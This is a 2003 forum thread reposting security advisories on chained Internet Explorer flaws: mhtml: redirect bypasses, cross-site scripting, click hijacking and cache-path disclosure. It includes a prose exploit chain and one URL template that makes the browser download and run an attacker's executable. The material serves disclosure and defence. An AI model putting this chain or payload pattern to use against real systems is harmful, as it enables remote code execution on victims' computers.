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General discussion

Internet Explorer System Compromise Vulnerabilities

Nov 24, 2003 10:44PM PST

Secunia Advisory: SA10289
Release Date: 2003-11-25
Critical: Extremely critical
Impact: System access
Exposure of sensitive information
Cross Site Scripting
Security Bypass
Where: From remote
Software: Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6

Description:
Multiple vulnerabilities have been identified in Internet Explorer, which in combination can be exploited to compromise a user's system.

1) A redirection feature using the "mhtml:" URI handler can be exploited to bypass a security check in Internet Explorer, which normally blocks web pages in the "Internet" zone from parsing local files.

2) The above redirection feature can also be exploited to download and execute a malicious file on a user's system. Successful exploitation requires that script code can be executed in the "MyComputer" zone.

3) A cross-site scripting vulnerability can be exploited to execute script code in the security zone associated with another web page if it contains a subframe. This may potentially allow execution of script code in the "MyComputer" zone.

4) A variant of a fixed vulnerability can still be exploited to hijack a user's clicks and perform certain actions without the user's knowledge.

5) An error in the download functionality can be exploited to disclose a user's cache directory by supplying a "HTM" file extension and an invalid value in the "Content-Type:" header field. This issue does not affect all versions and may have been fixed by the latest patch for Internet Explorer.

The vulnerabilities have been reported in Internet Explorer 6.0. However, other versions may also be affected and have been added due to the criticality of these issues.

PoC exploits (Proof of Concept) are available.

Solution:
Disable Active Scripting.
Use another product.

Reported by / credits: Liu Die Yu

http://www.secunia.com/advisories/10289/

Discussion is locked

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Re:Internet Explorer System Compromise Vulnerabilities
Nov 26, 2003 12:41AM PST

Detailed write ups:

Microsoft Internet Explorer Invalid ContentType May Disclose Cache Directory Location to Remote Users

SecurityTracker Alert ID: 1008293
CVE Reference: GENERIC-MAP-NOMATCH
Date: Nov 26 2003

Impact: Disclosure of system information, Disclosure of user information

Exploit Included: Yes

Version(s): 6 SP1, possibly earlier versions

Description: A vulnerability was reported in Microsoft Internet Explorer (IE) in the processing of ContentType headers. A remote user can determine the location of the cache directory, which may facilitate various exploits.

It is reported that a remote user can act as a web server and return a specially crafted HTTP response to cause the connected IE browser to open a file in the cache directory with Internet zone security restrictions. The report indicates that when the ContentType is invalid and the filename has the 'htm' file extension, the browser will download the file and open the file in the cache directory. As a result, the HTML code in the file can return the location of the cache directory to the remote user.

It is reported that this exploit works on some but not all systems.

Impact: A remote user can determine the location of the target user's cache directory.

Solution: No solution was available at the time of this entry.

The author of the report indicates that you can disable Active Scripting in the Internet security zone.

Vendor URL: www.microsoft.com/technet/security/

Cause: Access control error, State error

Underlying OS: Windows (Any)

Underlying OS Comments: Tested on Windows XP

http://www.securitytracker.com/alerts/2003/Nov/1008293.html

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Re:Re:Internet Explorer System Compromise Vulnerabilities
Nov 26, 2003 12:48AM PST
Microsoft Internet Explorer MHT Redirect Flaws Let Remote Users Execute Arbitrary Code

SecurityTracker Alert ID: 1008292
CVE Reference: GENERIC-MAP-NOMATCH
Date: Nov 25 2003

Impact: Execution of arbitrary code via network, User access via network

Exploit Included: Yes

Version(s): 6 SP1, possibly earlier versions

Description: Several vulnerabilities were reported in Microsoft Internet Explorer (IE) involving IE's MHT redirect functions and subframe cross-domain security restrictions. A remote user can create HTML that, when loaded by the target user, will cause arbitrary code to be executed by the target user's browser.

Liu Die Yu reported a method that exploits multiple, previously unreported vulnerabilities in IE to download an execute an arbitrary executable on the target user's system.

A remote user can first create HTML in the Internet security zone that contains an IFRAME that will use MhtRedirParsesLocalFile to parse a local file. The flaw reportedly resides in the code that retrieves files embedded within an MHT file. Using a URL of the format "mhtml:[Mhtml_File_Url]![Original_Resource_Url]", in a manner similar to an HTTP redirect, IE will reportedly attempt to download the "Original_Resource_Url]" if the file cannot be retrieved from the file ("Mhtml_File_Url").

A demonstration of this method is available (see the source page for the link of demo)

Then, the remote user can exploit a cross-site scripting flaw to bypass IE's cross-domain security restrictions. A subframe of a malicious HTML document can reportedly load a javascript-protocol URL in a manner that the javascript-protocol URL will be executed in the security context of the original malicious HTML document. This is reported to be a variation of a flaw that was ostensibly corrected in a previous Microsoft security fix.

A demonstration of this method is available (see the source page for the link of demo)

Finally, the remote user can exploit the MhtRedirLaunchInetExe function to download an arbitrary executable from the Internet and execute it in the My Computer zone. This is similar to the MhtRedirParsesLocalFile exploit step. HTML in the My Computer security zone can then point the CODEBASE property of an OBJECT tag with an unused CLSID to the following type of URL:

mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]

IE will then download the file ("Attaker_PayloadEXE_Url") and execute it in the My Computer security zone with the privileges of the target user, the report said.

A demonstration of this final step is available (see the source page for the link of demo)

A demonstration of the entire exploit process is available (see the source page for the link of demo)

The original advisory is available at:

http://www.safecenter.net/UMBRELLAWEBV4/1stCleanRc

Impact: A remote user can create HTML that, when loaded by the target user, will execute arbitrary code with the privileges of the target user.

Solution: No solution was available at the time of this entry.

The author of the report recommends that you disable Active Scripting in the Internet zone as a workaround.

Vendor URL: www.microsoft.com/technet/security/

Cause: Access control error, State error

Underlying OS: Windows (Any)

Reported By: liu die yu

Source: http://www.securitytracker.com/alerts/2003/Nov/1008292.html